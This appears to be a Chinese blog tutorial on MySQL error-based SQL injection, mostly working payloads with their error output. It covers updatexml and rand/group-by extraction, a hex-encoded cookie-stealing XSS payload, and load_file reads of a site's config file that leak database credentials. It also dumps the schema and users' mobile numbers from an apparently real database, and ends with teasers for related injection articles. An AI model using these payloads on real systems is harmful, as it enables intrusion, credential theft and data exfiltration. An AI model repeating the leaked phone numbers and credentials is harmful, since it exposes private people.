mysql基于“报错”的注入

author author     2022-08-03     588

关键词:

报错是如何转为xss的?

mysql语句在页面报错,泄露信息
=========================================================================================================================================================================
*	报错方式之“updatexml”,有字数限制,但无需配合union。
	-	mysql> select updatexml(1, concat(‘:‘, ‘test‘), 1);
			ERROR 1105 (HY000): XPATH syntax error: ‘:test‘
	-	mysql> select updatexml(1, concat(0x3a, ‘test‘), 1);
			ERROR 1105 (HY000): XPATH syntax error: ‘:test‘
	-	mysql> select updatexml(1, concat(0x5e, ‘test‘), 1);
			ERROR 1105 (HY000): XPATH syntax error: ‘^test‘
	-	mysql>  select * from f_user where id=1 or 1=updatexml(1,concat(0x5e, ‘test‘),1);
			ERROR 1105 (HY000): XPATH syntax error: ‘^test‘
	**	将上面‘test’换成你的子查询语句或函数均可。

*	group by+rand(0)+having,无字数限制,无需配合union。
	-	mysql>  select * from f_user where id=1 or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0);
			ERROR 1062 (23000): Duplicate entry ‘5.6.21-log~1‘ for key ‘group_key‘


*	报错方式之“rand+count+group by”,需配合union
	rand(0)无论在哪台机器运行多少次,生成的序列都是一样的
	参考mysql开发者社区曝光的bug http://bugs.mysql.com/bug.php?id=8652
	-	mysql>  select 1,2,count(*),concat(‘test‘, char(0x5e), floor(rand(0)*2))x from information_schema.tables group by x;
			ERROR 1062 (23000): Duplicate entry ‘test^1‘ for key ‘group_key‘
	-	mysql>  select 1,2,count(*),concat(‘test‘, char(0x5e), left(rand(0),3))x from information_schema.tables group by x;
			ERROR 1062 (23000): Duplicate entry ‘test^0.7‘ for key ‘group_key‘
	**	将上面‘test’换成你的子查询语句或函数均可。


mysql转xss语句
	mysql>  select 1,2,count(*),concat((select 0x2F3E3C696D67207372633D226675636B22206F6E6572726F723D616C65727428646F63756D656E742E636F6F6B6965293E), char(0x5e), left(rand(0),3))x from information_schema.tables group by x;
		ERROR 1062 (23000): Duplicate entry ‘/><img src="fuck" onerror=alert(document.cookie)>^0.7‘ for key ‘group_key‘

直接爆配置文件密码,前提是有file权限
	mysql>	select 1,2,3,updatexml(1,concat(char(58),substr(load_file(0x2F616C69646174612F7777772F66616E676A69616E676A756E2F4170706C69636174696F6E2F436F6D6D6F6E2F436F6E662F64622E706870),150,40) ),1);
		ERROR 1105 (HY000): XPATH syntax error: ‘:	‘DB_NAME‘   => ‘fan******un‘,‘
	mysql>  select 1,2,3,updatexml(1,concat(char(58),substr(load_file(0x2F616C69646174612F7777772F66616E676A69616E676A756E2F4170706C69636174696F6E2F436F6D6D6F6E2F436F6E662F64622E706870),200,40) ),1);
		ERROR 1105 (HY000): XPATH syntax error: ‘:	‘DB_USER‘   => ‘s*********b‘, /‘
	mysql>  select 1,2,3,updatexml(1,concat(char(58),substr(load_file(0x2F616C69646174612F7777772F66616E676A69616E676A756E2F4170706C69636174696F6E2F436F6D6D6F6E2F436F6E662F64622E706870),250,40) ),1);
		ERROR 1105 (HY000): XPATH syntax error: ‘:PWD‘    => ‘hahahaahhah‘,‘


爆版本
	mysql> select 1,2,3,4 union select distinct concat((select version()),floor(rand(0)*2))a, count(*),3,4 from information_schema.tables group by a;
		ERROR 1062 (23000): Duplicate entry ‘5.6.21-log1‘ for key ‘group_key‘

爆库名
	mysql> select info();
		ERROR 1305 (42000): FUNCTION fangjiangjun.info does not exist
	mysql> select count(*), ( concat( (select database()), char(0x5e), floor(rand(0)*2) ) )x from information_schema.tables group by x;
		ERROR 1062 (23000): Duplicate entry ‘fangjiangjun^1‘ for key ‘group_key‘


爆表名
	mysql> select concat( (select distinct table_name from information_schema.tables limit 0,1), char(0x5e), floor(rand(0)*2) )x, count(*) from information_schema.tables group by x; 
		ERROR 1062 (23000): Duplicate entry ‘CHARACTER_SETS^1‘ for key ‘group_key‘
	mysql> select concat( (select distinct table_name from information_schema.tables limit 1,1), char(0x5e), floor(rand(0)*2) )x, count(*) from information_schema.tables group by x; 
		ERROR 1062 (23000): Duplicate entry ‘COLLATIONS^1‘ for key ‘group_key‘
	mysql> select concat( (select distinct table_name from information_schema.tables limit 2,1), char(0x5e), floor(rand(0)*2) )x, count(*) from information_schema.tables group by x; 
		ERROR 1062 (23000): Duplicate entry ‘COLLATION_CHARACTER_SET_APPLICABILITY^1‘ for key ‘group_key‘

	mysql> select concat( (select distinct table_name from information_schema.tables where table_schema=‘fangjiangjun‘ limit 0,1), char(0x5e), floor(rand(0)*2) )x, count(*) from information_schema.tables group by x;
		ERROR 1062 (23000): Duplicate entry ‘f_admin^1‘ for key ‘group_key‘
	mysql> select concat( (select distinct table_name from information_schema.tables where table_schema=‘fangjiangjun‘ limit 1,1), char(0x5e), floor(rand(0)*2) )x, count(*) from information_schema.tables group by x;
		ERROR 1062 (23000): Duplicate entry ‘f_admin_role^1‘ for key ‘group_key‘

爆字段名
	mysql>  select concat( (select distinct column_name from information_schema.columns where table_schema=‘fangjiangjun‘ and table_name=‘f_user‘ limit 0,1), char(0x5e), floor(rand(0)*2) )x, count(*) from information_schema.tables group by x;
		ERROR 1062 (23000): Duplicate entry ‘id^1‘ for key ‘group_key‘
	mysql>  select concat( (select distinct column_name from information_schema.columns where table_schema=‘fangjiangjun‘ and table_name=‘f_user‘ limit 1,1), char(0x5e), floor(rand(0)*2) )x, count(*) from information_schema.tables group by x;
		ERROR 1062 (23000): Duplicate entry ‘login_time^1‘ for key ‘group_key‘


爆字段值
	mysql>  select concat( (select mobile_phone from fangjiangjun.f_user order by id limit 0,1), char(0x5e), floor(rand(0)*2) )x, count(*) from information_schema.tables group by x; 
		ERROR 1062 (23000): Duplicate entry ‘18602029479^1‘ for key ‘group_key‘
	mysql>  select concat( (select mobile_phone from fangjiangjun.f_user order by id limit 1,1), char(0x5e), floor(rand(0)*2) )x, count(*) from information_schema.tables group by x; 
		ERROR 1062 (23000): Duplicate entry ‘15602267509^1‘ for key ‘group_key‘

	

  

sqlinject漏洞手工测试:基于报错的信息获取(select/delete/update/insert)

...据库报错信息,在语法发生错误时会输出在前端。重点:基于报错的信息获取------三个常用的用来报错的函数updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。extractvalue():函数也是MYSQL对XML文档数据进行查询的XPATH函... 查看详情

sql注入:sqli-labs18基于http头部的报错注入

报错注入参考博客:https://www.cnblogs.com/c1047509362/p/12806297.html依旧输入账户名和密码:抓包发现会回显出HTTP头内容登录,抓包,改变头内容:加个单引号,报错了说明这个变量是括号括起来的字符型变量。... 查看详情

注入学习mysql+php注入基于bool和时间的盲注(代码片段)

练习三:Mysql+php基于bool和时间的盲注今天要用的函数(详细的直接看链接):left()函数:left()得到字符串左部指定个数的字符  left(string,n)#string为要截取的字符串,n为长度limit()函数:标准定义找百度  limit(a,b) #我的理... 查看详情

mysql报错注入之floor报错详解

...利用selectcount(*),(floor(rand(0)*2))xfromtablegroupbyx,导致数据库报错,通过concat函数,连接注入语句与floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。基本的查询select不必多说,剩下的几个关键字有count、groupby、floor、... 查看详情

oralce报错注入(转自某个奇安信大佬)(代码片段)

0x00 前言在oracle注入时候出现了数据库报错信息,可以优先选择报错注入,使用报错的方式将查询数据的结果带出到错误页面中。使用报错注入需要使用类似1=[报错语句],1>[报错语句],使用比较运算符,这样的方式进行报... 查看详情

报错注入分析之updatexml注入

...updatexml注入首先了解一下什么是updatexml函数。前言:相比基于查询的SQL注入,使用insert、update和delete进行SQL注入显得略显另类   参考自:http://www.exploit-db.com/wp-co 查看详情

豹子安全-注入工具-疑问_mysql_基于联合查询_按钮获取基本信息不能成功的解决方法。

豹子安全-注入工具-疑问_MySQL_基于联合查询_按钮【获取基本信息】不能成功的解决方法。网站: http://www.leosec.net如下GIF影片所示:  查看详情

sql注入之sqli-labs等(安装,配置)

...;适用于GET和POST场景,包含了以下注入:类型方式基于错误的注入字符和整数型基于报错的注入双查询注入盲注入布尔型和时间型更新查询注入update插入查询注入insertHeader头部注入(基于Referer注入、基于UserAgent注入、... 查看详情

ctfhub——技能树——sql注入(sqlmap)(代码片段)

...数型注入sqlmap简介sqlmap支持五种不同的注入模式:1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否... 查看详情

sql注入进阶-报错注入盲注orderby注入二次注入sql注入绕过速查表(代码片段)

SQL注入手法分类:联合注入、报错注入、布尔盲注、延时注入、多语句查询注入(堆叠注入)可能存在注入的点:GPCGETPOSTCOOKIEHTTP头(请求报文及其他字段)基础mysql、mssql、SQLServer以及Oracle等,不同数... 查看详情

less(19)post-headerinjection-refererfield-errorbased(基于头部的refererpost报错注入)

1.单引号,报错型,referer型注入点:      本题和上一题很像,回显是referer,查一下php文加可以发现,insert语句中向数据库插入了referer,所以注入点改为referer2.爆破  (1)Referer:‘andextractvalue(1,concat(0x7e,(selectversio... 查看详情

2020/1/27代码审计学习

...过程中,sql语句执行的选择后,选择的数据不在页面显示基于布尔SQL盲注基于时间的SQL盲注基于报错的SQL盲注0x03HTTP头注入0x04修复方案 查看详情

sqlmap怎么注入sqlserver

...选择,读取哪些数据sqlmap支持五种不同的注入模式:1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面... 查看详情

大哥带我们的mysql注入(代码片段)

...select1,2,3,4,5 查询语句第一步是先构造闭合加入单引号报错然后更据and1=1 查看详情

sql注入攻击大全(代码片段)

...注入updatexml注入extractvalue注入主键重复报错几何函数注入基于列名冲突的注入基于溢出的注入二阶注入长字符串截断无回显的注入SQLI防御及绕过嵌套及大小写混淆绕过空格被过滤的绕过通过内内联注释通过括号--emmmmm基本没啥用... 查看详情

sqlmap(代码片段)

...Sybase和SAPMaxDB。SQLMap采用了以下5种独特的SQL注入技术。•基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。•基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否己执... 查看详情

mysql|post基于错误的注入(代码片段)

MySQL|POST基于错误的注入1.Burpsuit抓取HTTP请求Burpsuit是一款Web安全测试的利器,集成了几乎web安全测试中所有需要用到的功能。运行前提:1.需要安装Java下载连接:https://www.java.com/zh_CN/同意并且免费下载下载好之后直接运行&#... 查看详情

sql注入:sqli-labslesson-8lesson-9基于布尔值和基于时间的盲注!(代码片段)

在上一次讲解了lesson-1的sql基本注入,我们在注入的时候,它会返回错误信息但是盲注不会:什么是盲注:我理解的盲注是,web页面并不会返回错误信息,需要自己添加一些命令来让浏览器进行一些显而易... 查看详情